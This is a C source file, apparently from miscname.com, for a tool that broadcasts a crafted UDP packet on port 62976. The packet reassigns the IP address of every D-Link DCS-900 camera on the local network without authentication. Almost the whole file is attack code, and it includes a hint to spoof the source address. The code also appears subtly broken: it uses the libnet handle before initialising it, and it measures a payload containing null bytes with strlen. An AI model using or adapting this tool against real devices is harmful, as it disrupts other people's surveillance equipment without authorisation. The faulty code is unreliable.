/*
  dlinkdown.c - miscname.com

  change ip address on all dlink dcs-900 cameras on the local network without authentication

  dlink dcs-900 ip cameras use a broadcast/listen method of configuration ...
  rather than a static ip addr out of the box, it listens for a 62976/udp broadcast packet
  telling it what ip addr to set itself too

  http://www.dlink.com.au/Default.aspx?ArticleID=109

  rtfs and mod the ip address to set all listening cameras too (default is 10.0.50.50)
*/

#include <libnet.h>
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]) {

  libnet_t *p;
  libnet_ptag_t ip, udp, ipoptions, ether;
  u_long srcip, dstip;
  u_short srcport = 62976, dstport = 62976, x;
  signed int ret;
  char errbuff[LIBNET_ERRBUF_SIZE], ipopt[21];
  int len;
  int8_t *macdst = "ff:ff:ff:ff:ff:ff";
  u_int8_t *macdest;
  char payload[128] =   "\xfd\xfd\x00\x04\x00\x03\x00\x0f\x3d\x56\x97\x07"
        "\x0a\x00\x32\x32" /* ip address to set too */
        "\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00";
  u_short payloadlen = strlen(payload);

  srcip = libnet_get_ipaddr4(p); /* mod to spoof */
  dstip = libnet_name2addr4(p,"255.255.255.255",LIBNET_DONT_RESOLVE); /* 255.255.255.255 */
  udp = ip = ether = ipoptions = 0;

  if ( (macdest = libnet_hex_aton(macdst,&len)) == NULL) {
    fprintf(stderr,"cant get mac str - %s",libnet_geterror(p));
    exit (1);
  }

  if ( (p = libnet_init (LIBNET_LINK, NULL, errbuff)) == NULL) {
    fprintf(stderr,"cant init() - %s\n",errbuff);
    exit (1);
  }

  if ( (udp = libnet_build_udp(srcport,dstport,LIBNET_UDP_H + payloadlen,0,payload,payloadlen,p,udp)) == -1) {
    fprintf(stderr,"cant build udp - %s\n",libnet_geterror(p));
    exit (1);
  }

  for (x=0;x<20;x++) {
    ipopt[x] = libnet_get_prand(LIBNET_PR2);
  }

  ipoptions = libnet_build_ipv4_options (ipopt,20,p,ipoptions);

  if ( (ip = libnet_build_ipv4 (LIBNET_IPV4_H + 20 + payloadlen + LIBNET_UDP_H,0,250,0,128,IPPROTO_UDP,0,srcip,dstip,payload,payloadlen,p,ip)) == -1) {
    fprintf(stderr,"cant build ipv4 - %s\n",libnet_geterror(p));
    exit (1);
  }

  if ((ether = libnet_build_ethernet (macdest,macdest,ETHERTYPE_IP,NULL,0,p,ether)) == -1) {
    fprintf(stderr,"cant build ether - %s",libnet_geterror(p));
    exit (1);
  }

  //libnet_diag_dump_pblock(p);

  if ( (ret = libnet_write(p)) == -1) {
    fprintf(stderr,"%s\n",libnet_geterror(p));
  }
  
  free(macdest); /* hex_aton malloc's - see libnet doco */
  libnet_destroy(p);

  return 0;
}